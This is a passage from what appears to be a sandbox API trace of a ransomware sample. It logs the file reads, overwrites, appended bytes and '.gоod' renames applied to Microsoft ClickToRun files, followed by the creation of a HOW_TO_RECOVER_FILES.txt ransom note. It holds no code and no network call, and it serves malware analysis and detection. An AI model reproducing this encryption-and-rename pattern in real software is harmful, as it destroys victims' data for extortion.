(lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\masterdescriptor.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0085.341] GetFileType (hFile=0x768) returned 0x1 [0085.341] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9990) returned 1 [0085.341] GetFileType (hFile=0x768) returned 0x1 [0085.341] WriteFile (in: hFile=0x768, lpBuffer=0x3444918*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x10f9ba8, lpOverlapped=0x0 | out: lpBuffer=0x3444918*, lpNumberOfBytesWritten=0x10f9ba8*=0x1010, lpOverlapped=0x0) returned 1 [0085.341] CloseHandle (hObject=0x768) returned 1 [0085.341] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\MasterDescriptor.x-none.xml", nBufferLength=0x105, lpBuffer=0x10f9650, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\MasterDescriptor.x-none.xml", lpFilePart=0x0) returned 0x7e [0085.341] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\MasterDescriptor.x-none.xml.gоod", nBufferLength=0x105, lpBuffer=0x10f9650, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\MasterDescriptor.x-none.xml.gоod", lpFilePart=0x0) returned 0x83 [0085.341] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ae0) returned 1 [0085.341] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\masterdescriptor.x-none.xml"), fInfoLevelId=0x0, lpFileInformation=0x10f9bc0 | out: lpFileInformation=0x10f9bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19bd39c1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19bd39c1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2f1490a8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5b41)) returned 1 [0085.341] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9aa0) returned 1 [0085.341] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\MasterDescriptor.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\masterdescriptor.x-none.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\MasterDescriptor.x-none.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\masterdescriptor.x-none.xml.gоod")) returned 1 [0085.342] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.Platform.x-none.man.xml", nBufferLength=0x105, lpBuffer=0x10f9650, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.Platform.x-none.man.xml", lpFilePart=0x0) returned 0x81 [0085.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9b20) returned 1 [0085.342] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.Platform.x-none.man.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.platform.x-none.man.xml"), fInfoLevelId=0x0, lpFileInformation=0x34c3ea0 | out: lpFileInformation=0x34c3ea0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19bf9d35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19bf9d35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6aa2800, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x7e0a5c)) returned 1 [0085.344] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9ae0) returned 1 [0085.344] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.Platform.x-none.man.xml", nBufferLength=0x105, lpBuffer=0x10f9500, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.Platform.x-none.man.xml", lpFilePart=0x0) returned 0x81 [0085.344] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9a20) returned 1 [0085.344] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.Platform.x-none.man.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.platform.x-none.man.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0085.344] GetFileType (hFile=0x768) returned 0x1 [0085.344] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9990) returned 1 [0085.344] GetFileType (hFile=0x768) returned 0x1 [0085.344] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x10f9b78*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x10f9b78*=0) returned 0x1000 [0085.344] ReadFile (in: hFile=0x768, lpBuffer=0x34c43e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10f9b48, lpOverlapped=0x0 | out: lpBuffer=0x34c43e8*, lpNumberOfBytesRead=0x10f9b48*=0x1000, lpOverlapped=0x0) returned 1 [0085.346] CloseHandle (hObject=0x768) returned 1 [0085.346] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.Platform.x-none.man.xml", nBufferLength=0x105, lpBuffer=0x10f9500, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.Platform.x-none.man.xml", lpFilePart=0x0) returned 0x81 [0085.346] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9a20) returned 1 [0085.346] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.Platform.x-none.man.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.platform.x-none.man.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0085.346] GetFileType (hFile=0x768) returned 0x1 [0085.346] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9990) returned 1 [0085.346] GetFileType (hFile=0x768) returned 0x1 [0085.346] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x10f9b78*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x10f9b78*=0) returned 0x7e0a5c [0085.346] WriteFile (in: hFile=0x768, lpBuffer=0x34cc848*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x10f9a68, lpOverlapped=0x0 | out: lpBuffer=0x34cc848*, lpNumberOfBytesWritten=0x10f9a68*=0x10, lpOverlapped=0x0) returned 1 [0085.348] CloseHandle (hObject=0x768) returned 1 [0085.348] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.Platform.x-none.man.xml", nBufferLength=0x105, lpBuffer=0x10f9500, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.Platform.x-none.man.xml", lpFilePart=0x0) returned 0x81 [0085.348] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9a20) returned 1 [0085.348] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.Platform.x-none.man.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.platform.x-none.man.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0085.348] GetFileType (hFile=0x768) returned 0x1 [0085.348] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9990) returned 1 [0085.348] GetFileType (hFile=0x768) returned 0x1 [0085.348] ReadFile (in: hFile=0x768, lpBuffer=0x34ced08, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10f9af8, lpOverlapped=0x0 | out: lpBuffer=0x34ced08*, lpNumberOfBytesRead=0x10f9af8*=0x1000, lpOverlapped=0x0) returned 1 [0085.947] CloseHandle (hObject=0x768) returned 1 [0085.947] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.Platform.x-none.man.xml", nBufferLength=0x105, lpBuffer=0x10f9500, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.Platform.x-none.man.xml", lpFilePart=0x0) returned 0x81 [0085.948] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9a20) returned 1 [0085.948] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.Platform.x-none.man.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.platform.x-none.man.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0085.948] GetFileType (hFile=0x768) returned 0x1 [0085.948] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9990) returned 1 [0085.948] GetFileType (hFile=0x768) returned 0x1 [0085.948] WriteFile (in: hFile=0x768, lpBuffer=0x3338990*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x10f9ba8, lpOverlapped=0x0 | out: lpBuffer=0x3338990*, lpNumberOfBytesWritten=0x10f9ba8*=0x1010, lpOverlapped=0x0) returned 1 [0085.948] CloseHandle (hObject=0x768) returned 1 [0085.948] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.Platform.x-none.man.xml", nBufferLength=0x105, lpBuffer=0x10f9650, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.Platform.x-none.man.xml", lpFilePart=0x0) returned 0x81 [0085.948] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.Platform.x-none.man.xml.gоod", nBufferLength=0x105, lpBuffer=0x10f9650, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.Platform.x-none.man.xml.gоod", lpFilePart=0x0) returned 0x86 [0085.948] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ae0) returned 1 [0085.948] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.Platform.x-none.man.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.platform.x-none.man.xml"), fInfoLevelId=0x0, lpFileInformation=0x10f9bc0 | out: lpFileInformation=0x10f9bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19bf9d35, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19bf9d35, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x2f718b0c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7e0a6c)) returned 1 [0085.949] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9aa0) returned 1 [0085.949] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.Platform.x-none.man.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.platform.x-none.man.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.Platform.x-none.man.xml.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.platform.x-none.man.xml.gоod")) returned 1 [0085.949] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.man.dat", nBufferLength=0x105, lpBuffer=0x10f9650, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.man.dat", lpFilePart=0x0) returned 0x7c [0085.949] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9b20) returned 1 [0085.949] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.x86.x-none.man.dat"), fInfoLevelId=0x0, lpFileInformation=0x3376c90 | out: lpFileInformation=0x3376c90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19fffcc2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19fffcc2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x447ce00, ftLastWriteTime.dwHighDateTime=0x1d32055, nFileSizeHigh=0x0, nFileSizeLow=0x460b47)) returned 1 [0087.258] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9ae0) returned 1 [0087.258] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.man.dat", nBufferLength=0x105, lpBuffer=0x10f9500, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.man.dat", lpFilePart=0x0) returned 0x7c [0087.258] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9a20) returned 1 [0087.258] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.x86.x-none.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0087.260] GetFileType (hFile=0x7b0) returned 0x1 [0087.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9990) returned 1 [0087.260] GetFileType (hFile=0x7b0) returned 0x1 [0087.260] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x10f9b78*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x10f9b78*=0) returned 0x1000 [0087.261] ReadFile (in: hFile=0x7b0, lpBuffer=0x34e6120, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10f9b48, lpOverlapped=0x0 | out: lpBuffer=0x34e6120*, lpNumberOfBytesRead=0x10f9b48*=0x1000, lpOverlapped=0x0) returned 1 [0087.263] CloseHandle (hObject=0x7b0) returned 1 [0087.263] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.man.dat", nBufferLength=0x105, lpBuffer=0x10f9500, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.man.dat", lpFilePart=0x0) returned 0x7c [0087.263] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9a20) returned 1 [0087.263] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.x86.x-none.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0087.263] GetFileType (hFile=0x7b0) returned 0x1 [0087.263] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9990) returned 1 [0087.263] GetFileType (hFile=0x7b0) returned 0x1 [0087.263] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x10f9b78*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x10f9b78*=0) returned 0x460b47 [0087.263] WriteFile (in: hFile=0x7b0, lpBuffer=0x34e7460*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x10f9a68, lpOverlapped=0x0 | out: lpBuffer=0x34e7460*, lpNumberOfBytesWritten=0x10f9a68*=0x10, lpOverlapped=0x0) returned 1 [0087.265] CloseHandle (hObject=0x7b0) returned 1 [0087.265] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.man.dat", nBufferLength=0x105, lpBuffer=0x10f9500, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.man.dat", lpFilePart=0x0) returned 0x7c [0087.265] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9a20) returned 1 [0087.265] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.x86.x-none.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0087.265] GetFileType (hFile=0x7b0) returned 0x1 [0087.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9990) returned 1 [0087.265] GetFileType (hFile=0x7b0) returned 0x1 [0087.265] ReadFile (in: hFile=0x7b0, lpBuffer=0x34e97d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x10f9af8, lpOverlapped=0x0 | out: lpBuffer=0x34e97d8*, lpNumberOfBytesRead=0x10f9af8*=0x1000, lpOverlapped=0x0) returned 1 [0087.279] CloseHandle (hObject=0x7b0) returned 1 [0087.279] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.man.dat", nBufferLength=0x105, lpBuffer=0x10f9500, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.man.dat", lpFilePart=0x0) returned 0x7c [0087.279] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9a20) returned 1 [0087.279] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.x86.x-none.man.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0087.279] GetFileType (hFile=0x7b0) returned 0x1 [0087.279] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9990) returned 1 [0087.279] GetFileType (hFile=0x7b0) returned 0x1 [0087.279] WriteFile (in: hFile=0x7b0, lpBuffer=0x34e84a8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x10f9ba8, lpOverlapped=0x0 | out: lpBuffer=0x34e84a8*, lpNumberOfBytesWritten=0x10f9ba8*=0x1010, lpOverlapped=0x0) returned 1 [0087.279] CloseHandle (hObject=0x7b0) returned 1 [0087.279] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.man.dat", nBufferLength=0x105, lpBuffer=0x10f9650, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.man.dat", lpFilePart=0x0) returned 0x7c [0087.280] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.man.dat.gоod", nBufferLength=0x105, lpBuffer=0x10f9650, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.man.dat.gоod", lpFilePart=0x0) returned 0x81 [0087.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ae0) returned 1 [0087.280] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.x86.x-none.man.dat"), fInfoLevelId=0x0, lpFileInformation=0x10f9bc0 | out: lpFileInformation=0x10f9bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19fffcc2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x19fffcc2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x303c32cc, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x460b57)) returned 1 [0087.280] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9aa0) returned 1 [0087.280] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.man.dat" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.x86.x-none.man.dat"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\stream.x86.x-none.man.dat.gоod" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\stream.x86.x-none.man.dat.gоod")) returned 1 [0087.280] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10f97c0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x7b [0087.280] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9ce0) returned 1 [0087.281] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\ProductReleases\\5A65C4D7-3CDF-4BE4-8560-F036D300C13F\\x-none.16\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\programdata\\microsoft\\clicktorun\\productreleases\\5a65c4d7-3cdf-4be4-8560-f036d300c13f\\x-none.16\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7b0 [0087.281] GetFileType (hFile=0x7b0) returned 0x1 [0087.281] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c50) returned 1 [0087.281] GetFileType (hFile=0x7b0) returned 0x1 [0087.282] WriteFile (in: hFile=0x7b0, lpBuffer=0x3568290*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10f9da8, lpOverlapped=0x0 | out: lpBuffer=0x3568290*, lpNumberOfBytesWritten=0x10f9da8*=0x5d0, lpOverlapped=0x0) returned 1 [0087.283] CloseHandle (hObject=0x7b0) returned 1 [0087.283] GetFullPathNameW (in: 